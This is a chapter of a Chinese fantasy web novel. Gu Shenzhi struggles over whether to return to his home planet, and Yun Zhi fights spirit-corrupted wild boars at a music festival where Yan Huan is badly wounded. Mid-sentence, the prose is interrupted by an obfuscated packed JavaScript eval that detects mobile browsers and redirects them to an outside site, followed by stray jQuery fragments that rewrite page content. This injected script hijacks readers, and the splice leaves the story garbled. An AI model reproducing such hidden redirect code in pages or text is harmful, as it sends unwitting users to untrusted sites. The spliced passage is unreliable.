咖啡馆里的音乐声、低语声仿佛瞬间抽离，顾慎之被冰水包裹的指尖如同被冻住，好一会，才慢慢恢复知觉。


    其实，在听钟暖说队友的孩子刚出生就夭折时，他产生过疑问，即使是再虚弱的α?θ?ρ婴孩，也不会那么轻易死去。是不是刚出生的婴儿无法适应地球环境？他和云知的孩子会不会也要面临这样的危险？那个当下，他不想又或者说是不敢深究。没有找到信号发射器之前，除了孤注一掷的继续孕育他和云知的孩子，他没得选。


    现在，他可以选择为了保障孩子的生命跟随队伍回母星，或是留下来去赌一个谁也不知道的未来。


    可是，回母星之后呢，还有机会回来吗？


    又或许，他和云知的孩子没有那么脆弱，他们的孩子能够克服这种危险，毕竟云知是S级灵术师……


    太多问题在脑袋里碰撞，撞得顾慎之思绪混乱，有些茫然。


    江岚转过脸来，抿了口咖啡，“慎之，你所经历的一切，我都经历过。”


    初知怀孕时的惊喜、丧子的痛楚、与爱人分离的绝望……那些顾慎之走过的、没走过的路，他都走过了，所以更加知晓抉择的艰难。


    每一个选项的背后都是不确定。


    唯一确定的是，每一个选项都有各自的舍弃。


    “Acesius说要留在地球时，我没有劝他，因为他不是为了某个人，只是单纯地喜欢地球的一切。可是……”江岚的语重心长戛然而止，他读出顾慎之的无措，不忍接着说下去。


    沉了口气，他道：“发射器的事交给我，你好好照顾自己，不要劳累，也认真思考一下你要怎么选。你可以和你的地球配偶一起商量，但要切记，她永远无法真正感同身受你的处境。慎之，你要选一条对你自己最有利的路。”


    与江岚和钟暖分别后，顾慎之失魂落魄地回到家中，家里空空荡荡，昨夜的温存场景仍旧历历在目。他在沙发角落枯坐了会，如梦初醒般起身。


    他要见云知。现在。


    ……


    白港，红莓音乐节现场，蒸腾的热气里弥漫着汗味和草屑味，远处舞台鼓点砸得人心口发麻，尖叫混着电流嘶啦声流窜在人群之间。


    音乐节开始了。


    “云知……”在前面的人冷淡回眸的刹那，周屿乖巧地加了个“姐”字，“那边有个人在看你，是不是你的朋友？”


    顺着周屿所指，视线穿过晃动的人影，云知与远处的颜焕对视上，颜焕抬了抬手，云知赶紧背过身去，视若无睹地踏进荫凉里。


    “不认识。”


    那次颜焕故意和她亲密引顾慎之吃醋的事还记忆犹新，她不想搭理他。


    可惜晚了。颜焕长腿迈开，横穿偌大的草地，径直奔赴云知身前。


    这么热的天，这么躁的场合，他穿着简约的白色衬衫短袖，一丝不苟得像是格子间里最专注的牛马。


    他斜了周屿一眼，似笑非笑，“约会？”


    云知蹙眉睨他，“有病就去治。”


    “我和云知姐是在这偶遇的，我是这里的兼职工作人员。”周屿解释。


    得知是自己误会了，颜焕态度有所好转，把手里的冰镇饮料拧开递给云知。


    冷脸是要给的，冷水也是要喝的，云知拿来喝了口，清爽多了，问：“你怎么来了？”


    “本来是答应带颜槐来的，小丫头今早突然发烧，出不了门，又非要看，所以央着我给她做现场直播。”聊到颜槐，颜焕的话多了些，“她最近在新学校交了些朋友，跟她们一起追星。”


    云知懒懒地问：“谁？”


    “苏汀。”


    云知冷淡：“又一个没品味的。”


    “又？”


    一直在旁边插不上话的周屿终于找到机会开口：“我……我是苏汀的粉丝。”


    像是没听见，颜焕未接他的话，转而与云知聊起别的，周屿则静默地立在旁边。


    聊着，全场蓦地沸腾起来，遥望去，是苏汀登场了。寇嘉致的死对他毫无影响，以他如今的流量，不再单一依赖公司的资源，之前就在筹备独立做工作室的事，趁着星恒青黄不接，正好自立门户。


    舞台上的青年光彩照人，白得发光的皮肤，张扬又梦幻的粉发，仅是与大家互动就频频引发热浪，云知抬起下巴示意，“去给你外甥女直播吧。”


    瞟了眼舞台下方围了三层的人潮，又瞥了眼周屿，颜焕说：“太挤，不去了。”


    约定好的事说不做就不做，云知撇嘴，投去一个不齿的眼神。


    颜焕弯身，隔着云知对周屿说：“不是你的偶像吗？不去看看？”


    说得有理。云知随之看向周屿，周屿似乎是打算说什么，欲言又止过后，是腼腆的笑容，“我去前面了。”


    他同云知对了一眼，云知以为他是要她手里的电风扇，于是递过去，周屿立刻道：“不用。这个留给你用吧。”


    目送周屿走远，颜焕吐了句：“动机不纯。”


    淡淡剜了他一眼，云知回：“求你去看看脑子吧。”


    苏汀的歌声在音响里震颤，空灵的嗓音回荡在整片场地，带着某种奇特的穿透力，钻进人骨头缝里。


    人群着了魔般，举手摇晃，沉浸其中，脸上挂着恍惚痴迷的笑。


    天气热得发闷，穹顶的云缓缓聚成青灰色，远处的山林间有簌簌的树木摇动声响，一丝若有似无的阴冷气息混在燥热里。


    不对劲。


    把手中的两样东西都塞进颜焕手里，云知两手捏决，阖目感知四周的动向。


    灵力的催动吸引了巡逻的执灵司，几名执灵朝云知靠近。


    云知无暇顾及他们，更用力地将灵丝放远。


    无数金色灵丝顺着草地游走，缠绕在人们的脚踝，检查在场的每一个灵。


    很快，三道魁梧的身影挡在她和颜焕身前，感知被割断，云知无语睁眼，颜焕迅速判断出来人的身份，替她开口：“她是春行的执灵。”


    为首的执灵说道：“请出示你的证件。”


    颜焕接话：“把证件给他。”


    白痴。云知是永昼小队，只有那枚中二的徽章，哪有什么证件？


    她没动作，三名执灵交换了个眼神，说：“跟我们走一趟吧。”


    “等等。”云知蓦地锁眉，“现场有奇怪的灵力波动。”


    “装神弄鬼也没用！”其中一名执灵斥道，“先跟我们走一趟。”


    云知想报警。


    哦，他们就是。


    颜焕拦住执灵，“你们如果不信，尽管联系春行异灵局执灵司的裴洲司长向他核实。她是S级灵术师，感知能力超出一般。你们来现场是来保护素灵体的！难道不该以素灵体的安全为先，宁可多排查一次，都不能错漏一次吗？现场起码有几万人，万一有任何闪失，你们担得起吗？”


    一句句质问噼里啪啦地砸去，砸得执灵有所动摇。


    云知赞许地想，这人吃了炮仗一样的个性也有派上用场的时候。


    “你先停止施展灵术，我们会让我们的人即刻排查。”一名执灵缓声对云知说道。其余执灵一名在同现场总负责人汇报，另一人同云知了解名字信息，随即让白港执灵司联络春行执灵司。


    头顶的天色越发浓重，朵朵灰云漂浮，像一块块洗不干净


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919402|171918||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的抹布。


    晦暗的光芒下，人群的嚷声更加热烈。


    那种危险的预感游荡着。


    “咚！”


    一声闷响爆发，距离云知百米外的围栏被撞出一个巨大的凸形，那声音淹没在现场的嘈杂里，主场地人未有注意，云知闻声望去，随即对执灵喊道：“来了！”


    顾不得其他，云知飞速朝撞击处跑去，几名执灵要追云知，颜焕吼道：“还不快上报！”


    刚吼完，执灵的对讲机里响起刺啦的声音：“东南方向有野猪群攻击。请前去支援。请……”


    话声断掉，执灵终于相信了云知的判断，再望去，她已跑远。


    又是一声巨响，围栏彻底撞开，几头野猪从缺口猛冲进来，鬃毛倒竖，獠牙闪着寒光，赤红的小眼睛充满凌厉的光。


    云知迅速以灵术筑起结界，拦住横冲直撞的野猪。


    这处被拦，野猪调转方向又从其它地方突围，顿时，一声声的“砰”接连响起，恍若枪鸣。


    一部分执灵来支援云知，另一部分和警方一起疏散人群，狂热的粉丝不明所以，只有被突然从沉迷中拽出的不耐，但当他们看清那一头头壮硕的野猪时，才终于纷纷奔逃起来。


    场内的混乱似乎激起野猪的兴奋，它们嚎叫着，更加猛力地撞向结界。


    这些野猪周身笼着黑气，明显是被某种东西激发了灵中恶念。寇嘉致留下的线索是挑衅吗？向世界宣告，他拥有至高无上乃至操纵自然的能力？变态啊。


    沉思间，临近的一只野猪后蹄一蹬，炮弹般冲过来，云知瞳孔骤缩，指尖微动，灵力刚要凝聚，一道身影比她更快，猛地从斜处撞来，狠狠将她推开。


    是颜焕。他闷哼一声，野猪的獠牙刺穿他的侧腰，布料撕裂，瞬间洇开一大片刺目的暗红，他被野猪擦着草地拖了一截，皮开肉绽，伤口狰狞。血涌得很快，眨眼间染红他的衬衫。


    云知迅速反应，召出灵阵，困住野猪。


    “交给我。”在她朝颜焕奔去时，一人比她更快。


    居然是顾慎之。


    顾不上惊讶，云知点了点头，转身再度加入战斗。


    执灵司快速前来支援，激战半个小时，那些暴躁的野猪群被控制住。


    进入收尾，云知从队伍中脱身回头去找顾慎之，正好赶上颜焕被送上救护车。


    云知和顾慎之相互确认了彼此没事，云知望向医生：“他怎么样？”


    担架上的颜焕脸色白得像纸，透出一种濒死的灰败。


    “非常不乐观。贯穿伤，失血量很大。初步估计失血量至少在1500毫升以上，而且很可能伤及了深层血管或脏器……”


    医生说话间，云知面上出现反常的迟钝。这画面太熟悉了。她忽然记起六岁那年夏天，她的父母也是这样躺在救护车上，医生也是说着这样的“不客观”。


    垂着脸，她深深地吐了口气。


    车内颠簸，颜焕咳了声，伤口再度涌血，此刻也管不了太多，云知蹲下身，用手盖住他的伤口，以灵术帮他封住伤口。


    许是灵术的作用，颜焕竟然启声，气若游丝地喃喃唤道：“云知。”


    他的唇毫无血色，白的，干燥的。他的眼皮沉重地合着，手在挣扎地抬起，云知握住，叮嘱：“别说话了。”


    “云知，”他又一次唤她的名字，“我是不是要死了？”


    “你不会死。”


    说话消耗氧气，云知伸手要以灵术封禁，手刚触及唇瓣，听到他传出微弱的一声：“其实，我……我不想分手。”


    瞳色沉下，云知毫无停顿地轻点他的唇峰，念道：“止语。”